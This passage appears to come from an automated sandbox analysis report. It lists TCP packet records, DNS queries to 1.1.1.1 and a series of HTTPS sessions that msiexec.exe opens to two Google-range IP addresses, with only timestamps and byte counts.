| Jan 10, 2025 15:18:12.063297987 CET | 443 | 50049 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:12.712769032 CET | 443 | 50049 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:12.712904930 CET | 50049 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:12.717412949 CET | 50049 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:12.717432976 CET | 443 | 50049 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:12.717711926 CET | 443 | 50049 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:12.717777967 CET | 50049 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:12.718274117 CET | 50049 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:12.759339094 CET | 443 | 50049 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:13.154829979 CET | 443 | 50049 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:13.154891968 CET | 443 | 50049 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:13.154954910 CET | 50049 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:13.154961109 CET | 443 | 50049 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:13.154992104 CET | 50049 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:13.155014992 CET | 50049 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:13.155788898 CET | 50049 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:13.155803919 CET | 443 | 50049 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:13.275624037 CET | 50050 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:13.275679111 CET | 443 | 50050 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:13.275794983 CET | 50050 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:13.276103020 CET | 50050 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:13.276114941 CET | 443 | 50050 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:13.927817106 CET | 443 | 50050 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:13.927928925 CET | 50050 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:13.928566933 CET | 50050 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:13.928579092 CET | 443 | 50050 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:13.928797960 CET | 50050 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:13.928805113 CET | 443 | 50050 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:14.333148956 CET | 443 | 50050 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:14.333271027 CET | 50050 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:14.333307028 CET | 443 | 50050 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:14.333357096 CET | 50050 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:14.333430052 CET | 50050 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:14.333466053 CET | 443 | 50050 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:14.333509922 CET | 50050 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:14.345429897 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:14.345463037 CET | 443 | 50051 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:14.345534086 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:14.345804930 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:14.345814943 CET | 443 | 50051 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:14.988796949 CET | 443 | 50051 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:14.988955975 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:14.989804983 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:14.989813089 CET | 443 | 50051 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:14.989886999 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:14.989892960 CET | 443 | 50051 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:15.425324917 CET | 443 | 50051 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:15.425442934 CET | 443 | 50051 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:15.425457001 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:15.425471067 CET | 443 | 50051 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:15.425494909 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:15.425529957 CET | 443 | 50051 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:15.425546885 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:15.425587893 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:15.465800047 CET | 50051 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:15.465837002 CET | 443 | 50051 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:15.682092905 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:15.682137966 CET | 443 | 50052 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:15.682209969 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:15.682482004 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:15.682492971 CET | 443 | 50052 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:16.321924925 CET | 443 | 50052 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:16.322069883 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:16.322725058 CET | 443 | 50052 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:16.322771072 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:16.324469090 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:16.324477911 CET | 443 | 50052 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:16.324707985 CET | 443 | 50052 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:16.327398062 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:16.327763081 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:16.375329018 CET | 443 | 50052 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:16.713649035 CET | 443 | 50052 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:16.713706017 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:16.713730097 CET | 443 | 50052 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:16.713824034 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:16.713824034 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:16.713903904 CET | 443 | 50052 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:16.714143038 CET | 50052 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:16.720103025 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:16.720151901 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:16.720212936 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:16.720472097 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:16.720487118 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.373409986 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.373564005 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:17.373994112 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:17.374006987 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.374214888 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:17.374260902 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.830306053 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.830374956 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:17.830393076 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.830406904 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.830432892 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:17.830472946 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:17.830487967 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.830502033 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.830528021 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:17.830550909 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:17.831470013 CET | 50053 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:17.831495047 CET | 443 | 50053 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.947499037 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:17.947551012 CET | 443 | 50054 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:17.947655916 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:17.948123932 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:17.948146105 CET | 443 | 50054 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:18.581167936 CET | 443 | 50054 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:18.581288099 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:18.582046986 CET | 443 | 50054 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:18.582098961 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:18.583587885 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:18.583600044 CET | 443 | 50054 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:18.583844900 CET | 443 | 50054 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:18.583893061 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:18.584160089 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:18.631326914 CET | 443 | 50054 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:18.972038984 CET | 443 | 50054 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:18.972106934 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:18.972121000 CET | 443 | 50054 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:18.972165108 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:18.972259998 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:18.972299099 CET | 443 | 50054 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:18:18.972343922 CET | 50054 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:18:18.972938061 CET | 50055 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:18.972979069 CET | 443 | 50055 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:18.973051071 CET | 50055 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:18.973242044 CET | 50055 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:18.973253965 CET | 443 | 50055 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:19.620901108 CET | 443 | 50055 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:19.621398926 CET | 50055 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:19.621561050 CET | 50055 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:19.621592045 CET | 443 | 50055 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:19.621742010 CET | 50055 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:19.621757984 CET | 443 | 50055 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:20.058739901 CET | 443 | 50055 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:20.058809996 CET | 443 | 50055 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:20.058809042 CET | 50055 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:20.058835983 CET | 443 | 50055 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:20.058875084 CET | 50055 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:20.058883905 CET | 443 | 50055 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:20.058896065 CET | 443 | 50055 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:18:20.058916092 CET | 50055 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:18:20.058943987 CET | 50055 | 443 | 192.168.2.6 | 216.58.206.65 |
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Jan 10, 2025 15:16:57.639956951 CET | 60935 | 53 | 192.168.2.6 | 1.1.1.1 |
| Jan 10, 2025 15:16:57.646770954 CET | 53 | 60935 | 1.1.1.1 | 192.168.2.6 |
| Jan 10, 2025 15:16:58.770102978 CET | 61054 | 53 | 192.168.2.6 | 1.1.1.1 |
| Jan 10, 2025 15:16:58.777579069 CET | 53 | 61054 | 1.1.1.1 | 192.168.2.6 |
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|
| Jan 10, 2025 15:16:57.639956951 CET | 192.168.2.6 | 1.1.1.1 | 0xa5c1 | Standard query (0) | A (IP address) | IN (0x0001) | false | |
| Jan 10, 2025 15:16:58.770102978 CET | 192.168.2.6 | 1.1.1.1 | 0x92c | Standard query (0) | A (IP address) | IN (0x0001) | false |
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|---|---|
| Jan 10, 2025 15:16:57.646770954 CET | 1.1.1.1 | 192.168.2.6 | 0xa5c1 | No error (0) | 142.250.185.110 | A (IP address) | IN (0x0001) | false | ||
| Jan 10, 2025 15:16:58.777579069 CET | 1.1.1.1 | 192.168.2.6 | 0x92c | No error (0) | 216.58.206.65 | A (IP address) | IN (0x0001) | false |
|
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 0 | 192.168.2.6 | 49917 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:16:58 UTC | 216 | OUT | |
| 2025-01-10 14:16:58 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 1 | 192.168.2.6 | 49923 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:16:59 UTC | 258 | OUT | |
| 2025-01-10 14:16:59 UTC | 2226 | IN | |
| 2025-01-10 14:16:59 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 2 | 192.168.2.6 | 49935 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:01 UTC | 418 | OUT | |
| 2025-01-10 14:17:01 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 3 | 192.168.2.6 | 49943 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:02 UTC | 460 | OUT | |
| 2025-01-10 14:17:03 UTC | 1844 | IN | |
| 2025-01-10 14:17:03 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 4 | 192.168.2.6 | 49953 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:04 UTC | 418 | OUT | |
| 2025-01-10 14:17:04 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 5 | 192.168.2.6 | 49960 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:05 UTC | 460 | OUT | |
| 2025-01-10 14:17:05 UTC | 1851 | IN | |
| 2025-01-10 14:17:05 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 6 | 192.168.2.6 | 49967 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:06 UTC | 418 | OUT | |
| 2025-01-10 14:17:06 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 7 | 192.168.2.6 | 49977 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:07 UTC | 460 | OUT | |
| 2025-01-10 14:17:07 UTC | 1851 | IN | |
| 2025-01-10 14:17:07 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 8 | 192.168.2.6 | 49985 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:08 UTC | 418 | OUT | |
| 2025-01-10 14:17:09 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 9 | 192.168.2.6 | 49992 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:09 UTC | 460 | OUT | |
| 2025-01-10 14:17:10 UTC | 1844 | IN | |
| 2025-01-10 14:17:10 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 10 | 192.168.2.6 | 49993 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:10 UTC | 418 | OUT | |
| 2025-01-10 14:17:11 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 11 | 192.168.2.6 | 49994 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:11 UTC | 460 | OUT | |
| 2025-01-10 14:17:12 UTC | 1851 | IN | |
| 2025-01-10 14:17:12 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 12 | 192.168.2.6 | 49995 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:13 UTC | 418 | OUT | |
| 2025-01-10 14:17:13 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 13 | 192.168.2.6 | 49996 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:14 UTC | 460 | OUT | |
| 2025-01-10 14:17:14 UTC | 1844 | IN | |
| 2025-01-10 14:17:14 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 14 | 192.168.2.6 | 49997 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:15 UTC | 418 | OUT | |
| 2025-01-10 14:17:15 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 15 | 192.168.2.6 | 49998 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:16 UTC | 460 | OUT | |
| 2025-01-10 14:17:16 UTC | 1844 | IN | |
| 2025-01-10 14:17:16 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 16 | 192.168.2.6 | 49999 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:17 UTC | 418 | OUT | |
| 2025-01-10 14:17:18 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 17 | 192.168.2.6 | 50000 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:18 UTC | 460 | OUT | |
| 2025-01-10 14:17:19 UTC | 1851 | IN | |
| 2025-01-10 14:17:19 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 18 | 192.168.2.6 | 50001 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:20 UTC | 418 | OUT | |
| 2025-01-10 14:17:20 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 19 | 192.168.2.6 | 50002 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:21 UTC | 460 | OUT | |
| 2025-01-10 14:17:21 UTC | 1844 | IN | |
| 2025-01-10 14:17:21 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 20 | 192.168.2.6 | 50003 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:22 UTC | 418 | OUT | |
| 2025-01-10 14:17:22 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 21 | 192.168.2.6 | 50004 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:23 UTC | 460 | OUT | |
| 2025-01-10 14:17:23 UTC | 1844 | IN | |
| 2025-01-10 14:17:23 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 22 | 192.168.2.6 | 50005 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:24 UTC | 418 | OUT | |
| 2025-01-10 14:17:25 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 23 | 192.168.2.6 | 50006 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:25 UTC | 460 | OUT | |
| 2025-01-10 14:17:26 UTC | 1851 | IN | |
| 2025-01-10 14:17:26 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 24 | 192.168.2.6 | 50007 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:26 UTC | 418 | OUT | |
| 2025-01-10 14:17:27 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 25 | 192.168.2.6 | 50008 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:28 UTC | 460 | OUT | |
| 2025-01-10 14:17:28 UTC | 1844 | IN | |
| 2025-01-10 14:17:28 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 26 | 192.168.2.6 | 50009 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:29 UTC | 418 | OUT | |
| 2025-01-10 14:17:29 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 27 | 192.168.2.6 | 50010 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:30 UTC | 460 | OUT | |
| 2025-01-10 14:17:30 UTC | 1851 | IN | |
| 2025-01-10 14:17:30 UTC | 1652 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 28 | 192.168.2.6 | 50012 | 142.250.185.110 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:31 UTC | 418 | OUT | |
| 2025-01-10 14:17:32 UTC | 1920 | IN |
| Session ID | Source IP | Source Port | Destination IP | Destination Port | PID | Process |
|---|---|---|---|---|---|---|
| 29 | 192.168.2.6 | 50013 | 216.58.206.65 | 443 | 5692 | C:\Windows\SysWOW64\msiexec.exe |
| Timestamp | Bytes transferred | Direction | Data |
|---|---|---|---|
| 2025-01-10 14:17:32 UTC | 460 | OUT | |
| 2025-01-10 14:17:33 UTC | 1844 | IN | |
| 2025-01-10 14:17:33 UTC | 1652 | IN |
